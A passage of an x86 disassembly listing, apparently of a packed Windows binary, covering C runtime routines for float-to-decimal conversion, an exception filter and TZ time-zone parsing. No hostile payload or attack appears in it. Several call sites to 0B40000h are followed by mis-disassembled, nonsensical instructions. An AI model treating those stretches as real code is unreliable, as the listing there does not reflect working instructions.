		sub	ecx, 4
		jns	short loc_4241BB
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424153	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4241E0	proc near		; CODE XREF: sub_42434C+Dp
					; sub_424362+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42424D
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424138
		test	eax, eax
		pop	ecx
		jnz	loc_42430C
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42412C
		pop	ecx


loc_424245:				; CODE XREF: sub_4241E0+E4j
		push	2


loc_424247:				; CODE XREF: sub_4241E0+110j
		pop	eax
		jmp	loc_42430E
; ---------------------------------------------------------------------------


loc_42424D:				; CODE XREF: sub_4241E0+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424111
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424085
		add	esp, 10h
		test	eax, eax
		jz	short loc_42426E
		inc	ebx


loc_42426E:				; CODE XREF: sub_4241E0+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424286
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42412C
		pop	ecx
		jmp	short loc_4242C2
; ---------------------------------------------------------------------------


loc_424286:				; CODE XREF: sub_4241E0+98j
		cmp	ebx, eax
		jg	short loc_4242C9
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424111
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424153
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424085
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424153
		add	esp, 20h


loc_4242C2:				; CODE XREF: sub_4241E0+A4j
		xor	esi, esi
		jmp	loc_424245
; ---------------------------------------------------------------------------


loc_4242C9:				; CODE XREF: sub_4241E0+A8j
		cmp	ebx, [edi]
		jl	short loc_4242F5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42412C
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424153
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424247
; ---------------------------------------------------------------------------


loc_4242F5:				; CODE XREF: sub_4241E0+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424153
		pop	ecx
		pop	ecx


loc_42430C:				; CODE XREF: sub_4241E0+55j
		xor	eax, eax


loc_42430E:				; CODE XREF: sub_4241E0+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42433D
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424347
; ---------------------------------------------------------------------------


loc_42433D:				; CODE XREF: sub_4241E0+14Ej
		cmp	edi, 20h
		jnz	short loc_424347
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424347:				; CODE XREF: sub_4241E0+15Bj
					; sub_4241E0+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4241E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42434C	proc near		; CODE XREF: sub_424378+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_442EE8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4241E0
		add	esp, 0Ch
		retn
sub_42434C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424362	proc near		; CODE XREF: sub_4243A5+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_442F00
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4241E0
		add	esp, 0Ch
		retn
sub_424362	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424378	proc near		; CODE XREF: sub_421800+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42501D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42434C
		add	esp, 24h
		leave
		retn
sub_424378	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4243A5	proc near		; CODE XREF: sub_421800+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42501D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424362
		add	esp, 24h
		leave
		retn
sub_4243A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4243D2	proc near		; CODE XREF: sub_42183E+65p
					; sub_421942+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_42440F
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4243F5:				; CODE XREF: sub_4243D2+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424401
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424404
; ---------------------------------------------------------------------------


loc_424401:				; CODE XREF: sub_4243D2+27j
		push	30h
		pop	edx


loc_424404:				; CODE XREF: sub_4243D2+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4243F5
		mov	edx, [ebp+arg_8]


loc_42440F:				; CODE XREF: sub_4243D2+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424428
		cmp	byte ptr [ecx],	35h
		jl	short loc_424428


loc_42441B:				; CODE XREF: sub_4243D2+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424426
		mov	byte ptr [eax],	30h
		jmp	short loc_42441B
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_4243D2+4Dj
		inc	byte ptr [eax]


loc_424428:				; CODE XREF: sub_4243D2+42j
					; sub_4243D2+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424432
		inc	dword ptr [edx+4]
		jmp	short loc_424444
; ---------------------------------------------------------------------------


loc_424432:				; CODE XREF: sub_4243D2+59j
		push	edi
		call	sub_41B890
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D330
		add	esp, 10h


loc_424444:				; CODE XREF: sub_4243D2+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4243D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424449	proc near		; CODE XREF: sub_42183E+3Fp
					; sub_421942+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244AD
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4E16E8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4254EE
		mov	dword_4E1710, eax
		add	esp, 18h
		movsx	eax, byte_4E16EA
		mov	dword_4E1708, eax
		pop	edi
		movsx	eax, word_4E16E8
		mov	dword_4E170C, eax
		mov	dword_4E1714, offset dword_4E16EC
		mov	eax, offset dword_4E1708
		pop	esi
		leave
		retn
sub_424449	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244AD	proc near		; CODE XREF: sub_424449+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4244FB
		cmp	ebx, edi
		jz	short loc_4244F4
		lea	edi, [ecx+3C00h]
		jmp	short loc_42451C
; ---------------------------------------------------------------------------


loc_4244F4:				; CODE XREF: sub_4244AD+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42451C
; ---------------------------------------------------------------------------


loc_4244FB:				; CODE XREF: sub_4244AD+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424513
		cmp	edx, ebx
		jnz	short loc_424513
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424513:				; CODE XREF: sub_4244AD+52j
					; sub_4244AD+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_42451C:				; CODE XREF: sub_4244AD+45j
					; sub_4244AD+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424534:				; CODE XREF: sub_4244AD+A6j
		test	ecx, esi
		jnz	short loc_424555
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424534
; ---------------------------------------------------------------------------


loc_424555:				; CODE XREF: sub_4244AD+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_42455E:				; CODE XREF: sub_4244AD+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424563	proc near		; CODE XREF: sub_41F504+3AAp
					; sub_41F504+3CBp ...
		push	2
		call	sub_41E0F9
		pop	ecx
		retn
sub_424563	endp


; =============== S U B	R O U T	I N E =======================================



sub_42456C	proc near		; DATA XREF: sub_4245B2o
					; .nsp0:00442B20o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42458F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42458F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42458F
		jmp	sub_4223CC
; ---------------------------------------------------------------------------


loc_42458F:				; CODE XREF: sub_42456C+Dj
					; sub_42456C+13j ...
		mov	eax, dword_4E1718
		test	eax, eax
		jz	short loc_4245AC
		push	eax
		call	sub_424608
		test	eax, eax
		pop	ecx
		jz	short loc_4245AC
		push	esi
		call	dword_4E1718
		jmp	short loc_4245AE
; ---------------------------------------------------------------------------


loc_4245AC:				; CODE XREF: sub_42456C+2Aj
					; sub_42456C+35j
		xor	eax, eax


loc_4245AE:				; CODE XREF: sub_42456C+3Ej
		pop	esi
		retn	4
sub_42456C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4245B2	proc near		; DATA XREF: .nsp0:00429030o
		push	offset sub_42456C
		call	dword_42701C	; SetUnhandledExceptionFilter
		mov	dword_4E1718, eax
		retn
sub_4245B2	endp

; ---------------------------------------------------------------------------
		push	dword_4E1718
		call	dword_42701C	; SetUnhandledExceptionFilter
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4245D0	proc near		; CODE XREF: sub_421C16+6Bp
					; sub_422127+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0B40000h
		int	3		; Trap to Debugger
		test	eax, eax
		jz	short loc_4245E8
		xor	esi, esi


loc_4245E8:				; CODE XREF: sub_4245D0+14j
		mov	eax, esi
		pop	esi
		retn
sub_4245D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4245EC	proc near		; CODE XREF: sub_422127+73p
					; sub_422127+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0B40000h
		cld
		test	eax, eax
		jz	short loc_424604
		xor	esi, esi


loc_424604:				; CODE XREF: sub_4245EC+14j
		mov	eax, esi
		pop	esi
		retn
sub_4245EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424608	proc near		; CODE XREF: sub_422127+15Bp
					; sub_42456C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 0B40000h
		mov	ch, 85h
		sal	byte ptr [edx+eax+33h],	0F6h
		mov	eax, esi
		pop	esi
		retn
sub_424608	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4223CC


loc_424620:				; CODE XREF: sub_4223CC:loc_42241Dj
		push	0Ah
		call	sub_4234E5
		push	16h
		call	sub_425781
		pop	ecx
		pop	ecx
		push	3
		call	sub_41BE72
; END OF FUNCTION CHUNK	FOR sub_4223CC

; =============== S U B	R O U T	I N E =======================================



sub_424637	proc near		; CODE XREF: sub_4224A1:loc_4224E0p
		cmp	dword_4E17D8, 0
		jnz	short locret_42464B
		call	sub_42464C
		inc	dword_4E17D8

locret_42464B:				; CODE XREF: sub_424637+7j
		retn
sub_424637	endp


; =============== S U B	R O U T	I N E =======================================



sub_42464C	proc near		; CODE XREF: sub_424637+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4E1720, ebp
		mov	dword_442FC0, ebx
		mov	dword_442FB0, ebx
		call	sub_4258F3
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424775
		push	offset dword_4E1728
		call	near ptr 0B40000h
		cmp	byte ptr [ebx],	0C3h
		jz	loc_4248A4
		mov	eax, dword_4E1728
		mov	ecx, dword_4E177C
		imul	eax, 3Ch
		cmp	word_4E176E, bp
		push	1
		pop	edx
		mov	dword_442F18, eax
		mov	dword_4E1720, edx
		jz	short loc_4246C3
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_442F18, eax


loc_4246C3:				; CODE XREF: sub_42464C+69j
		cmp	word_4E17C2, bp
		jz	short loc_4246E7
		mov	eax, dword_4E17D0
		cmp	eax, ebp
		jz	short loc_4246E7
		sub	eax, ecx
		mov	dword_442F1C, edx
		imul	eax, 3Ch
		mov	dword_442F20, eax
		jmp	short loc_4246F3
; ---------------------------------------------------------------------------


loc_4246E7:				; CODE XREF: sub_42464C+7Ej
					; sub_42464C+87j
		mov	dword_442F1C, ebp
		mov	dword_442F20, ebp


loc_4246F3:				; CODE XREF: sub_42464C+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_427180
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_442FA4
		push	ebx
		push	offset dword_4E172C
		push	edi
		push	dword_4E15C0
		call	esi ; dword_427180
		test	eax, eax
		jz	short loc_424730
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_424730
		mov	eax, off_442FA4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_424738
; ---------------------------------------------------------------------------


loc_424730:				; CODE XREF: sub_42464C+D1j
					; sub_42464C+D7j
		mov	eax, off_442FA4
		and	byte ptr [eax],	0


loc_424738:				; CODE XREF: sub_42464C+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_442FA8
		push	ebx
		push	offset dword_4E1780
		push	edi
		push	dword_4E15C0
		call	esi ; dword_427180
		test	eax, eax
		jz	loc_42489C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_42489C
		mov	eax, off_442FA8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_4248A4
; ---------------------------------------------------------------------------


loc_424775:				; CODE XREF: sub_42464C+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_4248A4
		mov	eax, dword_4E17D4
		cmp	eax, ebp
		jz	short loc_424798
		push	eax
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4248A4


loc_424798:				; CODE XREF: sub_42464C+139j
		push	dword_4E17D4
		call	sub_41B961
		push	esi
		call	sub_41B890
		inc	eax
		push	eax
		call	sub_41BBCB
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4E17D4, eax
		jz	loc_4248A4
		push	esi
		push	eax
		call	sub_41C550
		push	3
		push	esi
		push	off_442FA4
		call	sub_41BCA0
		mov	eax, off_442FA4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_4247ED
		push	1
		inc	esi
		pop	edi


loc_4247ED:				; CODE XREF: sub_42464C+19Bj
		push	esi
		call	sub_41BD9E
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_442F18, ecx


loc_424804:				; CODE XREF: sub_42464C+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_424812
		cmp	al, bl
		jl	short loc_424815
		cmp	al, 39h
		jg	short loc_424815


loc_424812:				; CODE XREF: sub_42464C+1BCj
		inc	esi
		jmp	short loc_424804
; ---------------------------------------------------------------------------


loc_424815:				; CODE XREF: sub_42464C+1C0j
					; sub_42464C+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424868
		inc	esi
		push	esi
		call	sub_41BD9E
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_442F18
		add	ecx, eax
		mov	dword_442F18, ecx


loc_424833:				; CODE XREF: sub_42464C+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424840
		cmp	al, 39h
		jg	short loc_424840
		inc	esi
		jmp	short loc_424833
; ---------------------------------------------------------------------------


loc_424840:				; CODE XREF: sub_42464C+1EBj
					; sub_42464C+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424868
		inc	esi
		push	esi
		call	sub_41BD9E
		pop	ecx
		mov	ecx, dword_442F18
		add	ecx, eax
		mov	dword_442F18, ecx


loc_42485B:				; CODE XREF: sub_42464C+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424868
		cmp	al, 39h
		jg	short loc_424868
		inc	esi
		jmp	short loc_42485B
; ---------------------------------------------------------------------------


loc_424868:				; CODE XREF: sub_42464C+1CCj
					; sub_42464C+1F7j ...
		cmp	edi, ebp
		jz	short loc_424874
		neg	ecx
		mov	dword_442F18, ecx


loc_424874:				; CODE XREF: sub_42464C+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_442F1C, eax
		jz	short loc_42489C
		push	3
		push	esi
		push	off_442FA8
		call	sub_41BCA0
		mov	eax, off_442FA8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_4248A4
; ---------------------------------------------------------------------------


loc_42489C:				; CODE XREF: sub_42464C+10Bj
					; sub_42464C+115j ...
		mov	eax, off_442FA8
		and	byte ptr [eax],	0


loc_4248A4:				; CODE XREF: sub_42464C+40j
					; sub_42464C+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42464C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4248AA	proc near		; CODE XREF: sub_4224A1+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_442F1C, edi
		jnz	short loc_4248BE


loc_4248B7:				; CODE XREF: sub_4248AA+148j
					; sub_4248AA+150j ...
		xor	eax, eax
		jmp	loc_424A0A
; ---------------------------------------------------------------------------


loc_4248BE:				; CODE XREF: sub_4248AA+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_442FB0
		jnz	short loc_4248DC
		cmp	eax, dword_442FC0
		jz	loc_4249DE


loc_4248DC:				; CODE XREF: sub_4248AA+24j
		cmp	dword_4E1720, edi
		jz	loc_4249B4
		movzx	ecx, word_4E17CE
		push	ecx
		cmp	word_4E17C0, di
		movzx	ecx, word_4E17CC
		push	ecx
		movzx	ecx, word_4E17CA
		push	ecx
		movzx	ecx, word_4E17C8
		push	ecx
		jnz	short loc_42492E
		movzx	ecx, word_4E17C4
		push	edi
		push	ecx
		movzx	ecx, word_4E17C6
		push	ecx
		movzx	ecx, word_4E17C2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424942
; ---------------------------------------------------------------------------


loc_42492E:				; CODE XREF: sub_4248AA+65j
		movzx	ecx, word_4E17C6
		push	ecx
		push	edi
		movzx	ecx, word_4E17C2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424942:				; CODE XREF: sub_4248AA+82j
		push	ebx
		call	sub_424A56
		movzx	eax, word_4E177A
		add	esp, 2Ch
		cmp	word_4E176C, di
		push	eax
		movzx	eax, word_4E1778
		push	eax
		movzx	eax, word_4E1776
		push	eax
		movzx	eax, word_4E1774
		push	eax
		jnz	short loc_42499C
		movzx	eax, word_4E1770
		push	edi
		push	eax
		movzx	eax, word_4E1772
		push	eax
		movzx	eax, word_4E176E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424991:				; CODE XREF: sub_4248AA+108j
		push	edi
		call	sub_424A56
		add	esp, 2Ch
		jmp	short loc_4249DE
; ---------------------------------------------------------------------------


loc_42499C:				; CODE XREF: sub_4248AA+C8j
		movzx	eax, word_4E1772
		push	eax
		push	edi
		movzx	eax, word_4E176E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424991
; ---------------------------------------------------------------------------


loc_4249B4:				; CODE XREF: sub_4248AA+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424A56
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424A56
		add	esp, 58h


loc_4249DE:				; CODE XREF: sub_4248AA+2Cj
					; sub_4248AA+F0j
		mov	edx, dword_442FB4
		mov	eax, dword_442FC4
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424A0E
		cmp	ecx, edx
		jl	loc_4248B7
		cmp	ecx, eax
		jg	loc_4248B7
		cmp	ecx, edx
		jle	short loc_424A22
		cmp	ecx, eax
		jge	short loc_424A22


loc_424A08:				; CODE XREF: sub_4248AA+166j
					; sub_4248AA+16Aj
		mov	eax, ebx


loc_424A0A:				; CODE XREF: sub_4248AA+Fj
					; sub_4248AA+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424A0E:				; CODE XREF: sub_4248AA+144j
		cmp	ecx, eax
		jl	short loc_424A08
		cmp	ecx, edx
		jg	short loc_424A08
		cmp	ecx, eax
		jle	short loc_424A22
		cmp	ecx, edx
		jl	loc_4248B7


loc_424A22:				; CODE XREF: sub_4248AA+158j
					; sub_4248AA+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424A49
		xor	ecx, ecx
		cmp	eax, dword_442FB8
		setnl	cl


loc_424A45:				; CODE XREF: sub_4248AA+1AAj
		mov	eax, ecx
		jmp	short loc_424A0A
; ---------------------------------------------------------------------------


loc_424A49:				; CODE XREF: sub_4248AA+18Ej
		xor	ecx, ecx
		cmp	eax, dword_442FC8
		setl	cl
		jmp	short loc_424A45
sub_4248AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A56	proc near		; CODE XREF: sub_4248AA+99p
					; sub_4248AA+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424AF1
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424A81
		shl	esi, 2
		mov	eax, dword_442FC8[esi]
		jmp	short loc_424A8A
; ---------------------------------------------------------------------------


loc_424A81:				; CODE XREF: sub_424A56+1Ej
		shl	esi, 2
		mov	eax, dword_442FFC[esi]


loc_424A8A:				; CODE XREF: sub_424A56+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_424AC4
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424ACE
; ---------------------------------------------------------------------------


loc_424AC4:				; CODE XREF: sub_424A56+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424ACE:				; CODE XREF: sub_424A56+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424B0C
		cmp	[ebp+arg_8], 0
		jnz	short loc_424AE2
		mov	esi, dword_442FCC[esi]
		jmp	short loc_424AE8
; ---------------------------------------------------------------------------


loc_424AE2:				; CODE XREF: sub_424A56+82j
		mov	esi, dword_443000[esi]


loc_424AE8:				; CODE XREF: sub_424A56+8Aj
		cmp	ecx, esi
		jle	short loc_424B0C
		sub	ecx, 7
		jmp	short loc_424B0C
; ---------------------------------------------------------------------------


loc_424AF1:				; CODE XREF: sub_424A56+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424B02
		mov	ecx, dword_442FC8[eax*4]
		jmp	short loc_424B09
; ---------------------------------------------------------------------------


loc_424B02:				; CODE XREF: sub_424A56+A1j
		mov	ecx, dword_442FFC[eax*4]


loc_424B09:				; CODE XREF: sub_424A56+AAj
		add	ecx, [ebp+arg_18]


loc_424B0C:				; CODE XREF: sub_424A56+7Cj
					; sub_424A56+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424B3D
		mov	eax, [ebp+arg_1C]
		mov	dword_442FB4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_442FB0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_442FB8, eax
		jmp	short loc_424B92
; ---------------------------------------------------------------------------


loc_424B3D:				; CODE XREF: sub_424A56+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_442FC4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_442F20
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
